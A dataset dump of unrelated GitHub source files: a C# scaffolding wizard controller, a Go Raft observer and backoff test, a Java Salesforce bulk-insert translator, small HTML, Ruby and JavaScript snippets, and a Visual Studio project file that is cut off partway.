text
stringlengths 2
100k
| meta
dict |
---|---|
//
// Scaffolder.cs
//
// Author:
// jasonimison <[email protected]>
//
// Copyright (c) 2019 Microsoft
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
using System;
using System.Collections.Generic;
using System.Threading;
using System.Threading.Tasks;
using MonoDevelop.Ide.Gui.Wizard;
using Xwt.Drawing;
namespace MonoDevelop.AspNetCore.Scaffolding
{
class ScaffolderDialogController : WizardDialogControllerBase
{
// We have 2 pages, the first contains a list of templates
// and the 2nd is an entry form based on the selection
// in the first page.
readonly ScaffolderArgs args;
readonly IWizardDialogPage firstPage;
readonly Dictionary<ScaffolderArgs, ScaffolderTemplateConfigurePage> cachedPages
= new Dictionary<ScaffolderArgs, ScaffolderTemplateConfigurePage> ();
public override bool CanGoBack {
get {
return CurrentPage is ScaffolderTemplateConfigurePage;
}
}
public override bool CurrentPageIsLast {
get { return CanGoBack; }
}
public ScaffolderDialogController (string title, IWizardDialogPage firstPage, ScaffolderArgs args)
: base (title, null, null, firstPage)
{
this.firstPage = firstPage;
this.args = args;
}
ScaffolderTemplateConfigurePage GetConfigurePage (ScaffolderArgs args, CancellationToken token)
{
// we want to return the same instance for the same args
if (cachedPages.ContainsKey (args)) {
return cachedPages [args];
} else {
var page = new ScaffolderTemplateConfigurePage (args, token);
cachedPages.Add (args, page);
return page;
}
}
protected override Task<IWizardDialogPage> OnGoNext (CancellationToken token)
{
switch (CurrentPage) {
case ScaffolderTemplateSelectPage _:
IWizardDialogPage configPage = GetConfigurePage (args, token);
return Task.FromResult (configPage);
}
return Task.FromException<IWizardDialogPage> (new InvalidOperationException ());
}
protected override Task<IWizardDialogPage> OnGoBack (CancellationToken token)
{
return Task.FromResult (firstPage);
}
}
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<Workspace
version = "1.0">
<FileRef
location = "group:Runner.xcodeproj">
</FileRef>
</Workspace>
| {
"pile_set_name": "Github"
} |
package raft
import (
"sync/atomic"
)
// Observation is sent along the given channel to observers when an event occurs.
type Observation struct {
// Raft holds the Raft instance generating the observation.
Raft *Raft
// Data holds observation-specific data. Possible types are
// *RequestVoteRequest and RaftState.
Data interface{}
}
// nextObserverId is used to provide a unique ID for each observer to aid in
// deregistration.
var nextObserverID uint64
// FilterFn is a function that can be registered in order to filter observations.
// The function reports whether the observation should be included - if
// it returns false, the observation will be filtered out.
type FilterFn func(o *Observation) bool
// Observer describes what to do with a given observation.
type Observer struct {
// numObserved and numDropped are performance counters for this observer.
// 64 bit types must be 64 bit aligned to use with atomic operations on
// 32 bit platforms, so keep them at the top of the struct.
numObserved uint64
numDropped uint64
// channel receives observations.
channel chan Observation
// blocking, if true, will cause Raft to block when sending an observation
// to this observer. This should generally be set to false.
blocking bool
// filter will be called to determine if an observation should be sent to
// the channel.
filter FilterFn
// id is the ID of this observer in the Raft map.
id uint64
}
// NewObserver creates a new observer that can be registered
// to make observations on a Raft instance. Observations
// will be sent on the given channel if they satisfy the
// given filter.
//
// If blocking is true, the observer will block when it can't
// send on the channel, otherwise it may discard events.
func NewObserver(channel chan Observation, blocking bool, filter FilterFn) *Observer {
return &Observer{
channel: channel,
blocking: blocking,
filter: filter,
id: atomic.AddUint64(&nextObserverID, 1),
}
}
// GetNumObserved returns the number of observations.
func (or *Observer) GetNumObserved() uint64 {
return atomic.LoadUint64(&or.numObserved)
}
// GetNumDropped returns the number of dropped observations due to blocking.
func (or *Observer) GetNumDropped() uint64 {
return atomic.LoadUint64(&or.numDropped)
}
// RegisterObserver registers a new observer.
func (r *Raft) RegisterObserver(or *Observer) {
r.observersLock.Lock()
defer r.observersLock.Unlock()
r.observers[or.id] = or
}
// DeregisterObserver deregisters an observer.
func (r *Raft) DeregisterObserver(or *Observer) {
r.observersLock.Lock()
defer r.observersLock.Unlock()
delete(r.observers, or.id)
}
// observe sends an observation to every observer.
func (r *Raft) observe(o interface{}) {
// In general observers should not block. But in any case this isn't
// disastrous as we only hold a read lock, which merely prevents
// registration / deregistration of observers.
r.observersLock.RLock()
defer r.observersLock.RUnlock()
for _, or := range r.observers {
// It's wasteful to do this in the loop, but for the common case
// where there are no observers we won't create any objects.
ob := Observation{Raft: r, Data: o}
if or.filter != nil && !or.filter(&ob) {
continue
}
if or.channel == nil {
continue
}
if or.blocking {
or.channel <- ob
atomic.AddUint64(&or.numObserved, 1)
} else {
select {
case or.channel <- ob:
atomic.AddUint64(&or.numObserved, 1)
default:
atomic.AddUint64(&or.numDropped, 1)
}
}
}
}
| {
"pile_set_name": "Github"
} |
<!-- [START maps_marker_animations] -->
<!DOCTYPE html>
<html>
<head>
<title>Marker Animations</title>
<script src="https://polyfill.io/v3/polyfill.min.js?features=default"></script>
<script
src="https://maps.googleapis.com/maps/api/js?key=YOUR_API_KEY&callback=initMap&libraries=&v=weekly"
defer
></script>
<link rel="stylesheet" type="text/css" href="./style.css" />
<script src="./app.js"></script>
</head>
<body>
<div id="map"></div>
</body>
</html>
<!-- [END maps_marker_animations] -->
| {
"pile_set_name": "Github"
} |
/*
Copyright 2017 Google LLC
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package backoff
import (
"math"
"testing"
"time"
)
// Test if exponential backoff helper can produce correct series of
// retry delays.
func TestBackoff(t *testing.T) {
b := ExponentialBackoff{minBackoff, maxBackoff}
tests := []struct {
retries int
min time.Duration
max time.Duration
}{
{
retries: 0,
min: minBackoff,
max: minBackoff,
},
{
retries: 1,
min: minBackoff,
max: time.Duration(rate * float64(minBackoff)),
},
{
retries: 3,
min: time.Duration(math.Pow(rate, 3) * (1 - jitter) * float64(minBackoff)),
max: time.Duration(math.Pow(rate, 3) * float64(minBackoff)),
},
{
retries: 1000,
min: time.Duration((1 - jitter) * float64(maxBackoff)),
max: maxBackoff,
},
}
for _, test := range tests {
got := b.Delay(test.retries)
if float64(got) < float64(test.min) || float64(got) > float64(test.max) {
t.Errorf("delay(%v) = %v, want in range [%v, %v]", test.retries, got, test.min, test.max)
}
}
}
| {
"pile_set_name": "Github"
} |
require_relative '../../tests/version'
module AcceptanceTests
module RubyVersionHelpers
def ruby_version
Tests::Version.new(RUBY_VERSION)
end
end
end
| {
"pile_set_name": "Github"
} |
/*
* Copyright Red Hat, Inc. and/or its affiliates
* and other contributors as indicated by the @author tags and
* the COPYRIGHT.txt file distributed with this work.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.teiid.translator.salesforce.execution;
import java.sql.SQLWarning;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import org.teiid.language.ColumnReference;
import org.teiid.language.Command;
import org.teiid.language.Expression;
import org.teiid.language.ExpressionValueSource;
import org.teiid.language.Insert;
import org.teiid.language.Literal;
import org.teiid.language.Parameter;
import org.teiid.metadata.Column;
import org.teiid.metadata.RuntimeMetadata;
import org.teiid.translator.DataNotAvailableException;
import org.teiid.translator.ExecutionContext;
import org.teiid.translator.TranslatorException;
import org.teiid.translator.salesforce.SalesForceExecutionFactory;
import org.teiid.translator.salesforce.SalesForcePlugin;
import org.teiid.translator.salesforce.SalesforceConnection;
import org.teiid.translator.salesforce.Util;
import org.teiid.translator.salesforce.execution.visitors.InsertVisitor;
import com.sforce.async.BatchResult;
import com.sforce.async.JobInfo;
import com.sforce.async.JobStateEnum;
import com.sforce.async.OperationEnum;
import com.sforce.async.Result;
import com.sforce.async.SObject;
public class InsertExecutionImpl extends AbstractUpdateExecution {
private JobInfo activeJob;
private List<String> batches = new ArrayList<String>();
private Iterator<? extends List<?>> rowIter;
private String objectName;
private List<Integer> counts;
public InsertExecutionImpl(SalesForceExecutionFactory ef, Command command,
SalesforceConnection salesforceConnection,
RuntimeMetadata metadata, ExecutionContext context) {
super(ef, command, salesforceConnection, metadata, context);
Insert insert = (Insert)command;
if (insert.getParameterValues() != null) {
this.rowIter = insert.getParameterValues();
}
InsertVisitor visitor = new InsertVisitor(getMetadata());
visitor.visit(insert);
this.objectName = visitor.getTableName();
}
@Override
public void execute() throws TranslatorException {
Insert insert = (Insert)command;
if (insert.getParameterValues() == null) {
DataPayload data = new DataPayload();
data.setType(this.objectName);
buildSingleRowInsertPayload(insert, data);
if (insert.isUpsert()) {
result = getConnection().upsert(data);
} else {
result = getConnection().create(data);
}
}
else {
if (this.activeJob == null) {
this.activeJob = getConnection().createBulkJob(this.objectName, insert.isUpsert()?OperationEnum.upsert:OperationEnum.insert, false);
counts = new ArrayList<Integer>();
}
if (this.activeJob.getState() == JobStateEnum.Open) {
while (this.rowIter.hasNext()) {
List<SObject> rows = buildBulkRowPayload(insert, this.rowIter, this.executionFactory.getMaxBulkInsertBatchSize());
batches.add(getConnection().addBatch(rows, activeJob));
}
this.activeJob = getConnection().closeJob(this.activeJob.getId());
}
if (this.activeJob.getState() == JobStateEnum.Aborted) {
throw new TranslatorException(this.activeJob.getState().name());
}
//failed still needs processed as the data is effectively committed
BatchResult[] batchResult = getConnection().getBulkResults(this.activeJob, batches);
for(BatchResult br:batchResult) {
for (Result r : br.getResult()) {
if (r.isSuccess() && r.isCreated()) {
counts.add(1);
} else if (r.getErrors().length > 0) {
counts.add(Statement.EXECUTE_FAILED);
this.context.addWarning(new SQLWarning(r.getErrors()[0].getMessage(), r.getErrors()[0].getStatusCode().name()));
} else {
counts.add(Statement.SUCCESS_NO_INFO);
}
}
}
}
}
private void buildSingleRowInsertPayload(Insert insert, DataPayload data) throws TranslatorException {
List<ColumnReference> columns = insert.getColumns();
List<Expression> values = ((ExpressionValueSource)insert.getValueSource()).getValues();
if(columns.size() != values.size()) {
throw new TranslatorException(SalesForcePlugin.Util.gs(SalesForcePlugin.Event.TEIID13006));
}
for(int i = 0; i < columns.size(); i++) {
Column column = columns.get(i).getMetadataObject();
Object value = values.get(i);
if(!(value instanceof Literal)) {
throw new TranslatorException(SalesForcePlugin.Util.gs(SalesForcePlugin.Event.TEIID13007));
}
Literal literalValue = (Literal)values.get(i);
Object val = Util.toSalesforceObjectValue(literalValue.getValue(), literalValue.getType());
data.addField(column.getSourceName(), val);
}
}
protected List<com.sforce.async.SObject> buildBulkRowPayload(Insert insert, Iterator<? extends List<?>> it, int rowCount) throws TranslatorException {
List<com.sforce.async.SObject> rows = new ArrayList<com.sforce.async.SObject>();
List<ColumnReference> columns = insert.getColumns();
int boundCount = 0;
List<Expression> literalValues = ((ExpressionValueSource)insert.getValueSource()).getValues();
while (it.hasNext()) {
if (boundCount >= rowCount) {
break;
}
boundCount++;
List<?> values = it.next();
com.sforce.async.SObject sobj = new com.sforce.async.SObject();
for(int i = 0; i < columns.size(); i++) {
Expression ex = literalValues.get(i);
ColumnReference element = columns.get(i);
Column column = element.getMetadataObject();
Class<?> type = ex.getType();
Object value = null;
if (ex instanceof Parameter) {
value = values.get(((Parameter)ex).getValueIndex());
} else if(!(ex instanceof Literal)) {
throw new TranslatorException(SalesForcePlugin.Util.gs(SalesForcePlugin.Event.TEIID13007));
} else {
value = ((Literal)ex).getValue();
}
sobj.setField(column.getSourceName(), getStringValue(value, type));
}
rows.add(sobj);
}
return rows;
}
@Override
public int[] getUpdateCounts() throws DataNotAvailableException, TranslatorException {
if (counts != null) {
int[] countArray = new int[counts.size()];
for (int i = 0; i < countArray.length; i++) {
countArray[i] = counts.get(i);
}
return countArray;
}
return new int[] { result };
}
@Override
public void cancel() throws TranslatorException {
if (this.activeJob != null) {
getConnection().cancelBulkJob(this.activeJob);
}
}
}
| {
"pile_set_name": "Github"
} |
<!-- Draw Simulator -->
<table class="table table-condensed" id="table-draw-simulator">
<thead>
<tr><th colspan="1"><span class="glyphicon glyphicon-repeat"></span> Card draw simulator</th></tr>
</thead>
<tbody>
<tr><td class="text-center" title="Click to draw; Shift-click to reset and draw">
<div class="btn-group"><button class="btn btn-default btn-sm" disabled="disabled">Draw:</button><button class="btn btn-default btn-sm" id="draw-simulator-1">1</button><button class="btn btn-default btn-sm" id="draw-simulator-2">2</button><button class="btn btn-default btn-sm" id="draw-simulator-3">3</button><button class="btn btn-default btn-sm" id="draw-simulator-4">4</button><button class="btn btn-default btn-sm" id="draw-simulator-5">5</button><button class="btn btn-default btn-sm" id="draw-simulator-special">Special</button><button class="btn btn-default btn-sm" id="draw-simulator-all">all</button><button class="btn btn-default btn-sm" disabled="disabled" id="draw-simulator-clear">Reset</button></div>
<div data-toggle="tooltip" data-placement="bottom" title="Odds to have at least 1 copy of a desired card, after having drawn that many cards from the deck, depending of the number of copies in the deck (1 - 2 - 3)"><span class="small">Odds: <span id="draw-simulator-odds-1">0</span>% – <span id="draw-simulator-odds-2">0</span>% – <span id="draw-simulator-odds-3">0</span>% <a href="#oddsModal" id="draw-simulator-more" data-toggle="modal" style="margin:0 10px">more</a></span></div>
</td></tr>
<tr><td id="table-draw-simulator-content"></td></tr>
</tbody>
</table> | {
"pile_set_name": "Github"
} |
import '@testing-library/jest-dom/extend-expect';
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="debug_shared|Win32">
<Configuration>debug_shared</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="debug_shared|x64">
<Configuration>debug_shared</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="debug_static_md|Win32">
<Configuration>debug_static_md</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="debug_static_md|x64">
<Configuration>debug_static_md</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="debug_static_mt|Win32">
<Configuration>debug_static_mt</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="debug_static_mt|x64">
<Configuration>debug_static_mt</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="release_shared|Win32">
<Configuration>release_shared</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="release_shared|x64">
<Configuration>release_shared</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="release_static_md|Win32">
<Configuration>release_static_md</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="release_static_md|x64">
<Configuration>release_static_md</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="release_static_mt|Win32">
<Configuration>release_static_mt</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="release_static_mt|x64">
<Configuration>release_static_mt</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectName>Binding</ProjectName>
<ProjectGuid>{0F0DF069-83D1-378D-A949-8DF9A883B627}</ProjectGuid>
<RootNamespace>Binding</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props"/>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='release_static_md|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='debug_static_md|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='release_static_mt|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='debug_static_mt|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='release_shared|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='debug_shared|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='release_static_md|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='debug_static_md|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='release_static_mt|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='debug_static_mt|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='release_shared|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='debug_shared|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props"/>
<ImportGroup Label="ExtensionSettings"/>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='release_static_md|Win32'" Label="PropertySheets">
<Import Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props"/>
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='debug_static_md|Win32'" Label="PropertySheets">
<Import Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props"/>
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='release_static_mt|Win32'" Label="PropertySheets">
<Import Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props"/>
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='debug_static_mt|Win32'" Label="PropertySheets">
<Import Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props"/>
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='release_shared|Win32'" Label="PropertySheets">
<Import Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props"/>
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='debug_shared|Win32'" Label="PropertySheets">
<Import Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props"/>
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='release_static_md|x64'" Label="PropertySheets">
<Import Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props"/>
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='debug_static_md|x64'" Label="PropertySheets">
<Import Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props"/>
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='release_static_mt|x64'" Label="PropertySheets">
<Import Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props"/>
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='debug_static_mt|x64'" Label="PropertySheets">
<Import Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props"/>
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='release_shared|x64'" Label="PropertySheets">
<Import Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props"/>
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='debug_shared|x64'" Label="PropertySheets">
<Import Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props"/>
</ImportGroup>
<PropertyGroup Label="UserMacros"/>
<PropertyGroup>
<_ProjectFileVersion>15.0.28307.799</_ProjectFileVersion>
<TargetName Condition="'$(Configuration)|$(Platform)'=='debug_shared|Win32'">Bindingd</TargetName>
<TargetName Condition="'$(Configuration)|$(Platform)'=='debug_static_md|Win32'">Bindingd</TargetName>
<TargetName Condition="'$(Configuration)|$(Platform)'=='debug_static_mt|Win32'">Bindingd</TargetName>
<TargetName Condition="'$(Configuration)|$(Platform)'=='release_shared|Win32'">Binding</TargetName>
<TargetName Condition="'$(Configuration)|$(Platform)'=='release_static_md|Win32'">Binding</TargetName>
<TargetName Condition="'$(Configuration)|$(Platform)'=='release_static_mt|Win32'">Binding</TargetName>
<TargetName Condition="'$(Configuration)|$(Platform)'=='debug_shared|x64'">Bindingd</TargetName>
<TargetName Condition="'$(Configuration)|$(Platform)'=='debug_static_md|x64'">Bindingd</TargetName>
<TargetName Condition="'$(Configuration)|$(Platform)'=='debug_static_mt|x64'">Bindingd</TargetName>
<TargetName Condition="'$(Configuration)|$(Platform)'=='release_shared|x64'">Binding</TargetName>
<TargetName Condition="'$(Configuration)|$(Platform)'=='release_static_md|x64'">Binding</TargetName>
<TargetName Condition="'$(Configuration)|$(Platform)'=='release_static_mt|x64'">Binding</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='debug_shared|Win32'">
<OutDir>bin\</OutDir>
<IntDir>obj\Binding\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='release_shared|Win32'">
<OutDir>bin\</OutDir>
<IntDir>obj\Binding\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='debug_static_mt|Win32'">
<OutDir>bin\static_mt\</OutDir>
<IntDir>obj\Binding\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='release_static_mt|Win32'">
<OutDir>bin\static_mt\</OutDir>
<IntDir>obj\Binding\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='debug_static_md|Win32'">
<OutDir>bin\static_md\</OutDir>
<IntDir>obj\Binding\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='release_static_md|Win32'">
<OutDir>bin\static_md\</OutDir>
<IntDir>obj\Binding\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='debug_shared|x64'">
<OutDir>bin64\</OutDir>
<IntDir>obj64\Binding\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='release_shared|x64'">
<OutDir>bin64\</OutDir>
<IntDir>obj64\Binding\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='debug_static_mt|x64'">
<OutDir>bin64\static_mt\</OutDir>
<IntDir>obj64\Binding\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='release_static_mt|x64'">
<OutDir>bin64\static_mt\</OutDir>
<IntDir>obj64\Binding\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='debug_static_md|x64'">
<OutDir>bin64\static_md\</OutDir>
<IntDir>obj64\Binding\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='release_static_md|x64'">
<OutDir>bin64\static_md\</OutDir>
<IntDir>obj64\Binding\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='debug_shared|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>.\include;..\..\..\Foundation\include;..\..\..\XML\include;..\..\..\Util\include;..\..\..\Data\include;..\..\..\Data\SQLite\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;WINVER=0x0500;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<BufferSecurityCheck>true</BufferSecurityCheck>
<TreatWChar_tAsBuiltInType>true</TreatWChar_tAsBuiltInType>
<ForceConformanceInForLoopScope>true</ForceConformanceInForLoopScope>
<RuntimeTypeInfo>true</RuntimeTypeInfo>
<PrecompiledHeader/>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>Default</CompileAs>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<AdditionalDependencies>iphlpapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OutputFile>bin\Bindingd.exe</OutputFile>
<AdditionalLibraryDirectories>..\..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<SuppressStartupBanner>true</SuppressStartupBanner>
<GenerateDebugInformation>true</GenerateDebugInformation>
<ProgramDatabaseFile>bin\Bindingd.pdb</ProgramDatabaseFile>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='release_shared|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
<OmitFramePointers>true</OmitFramePointers>
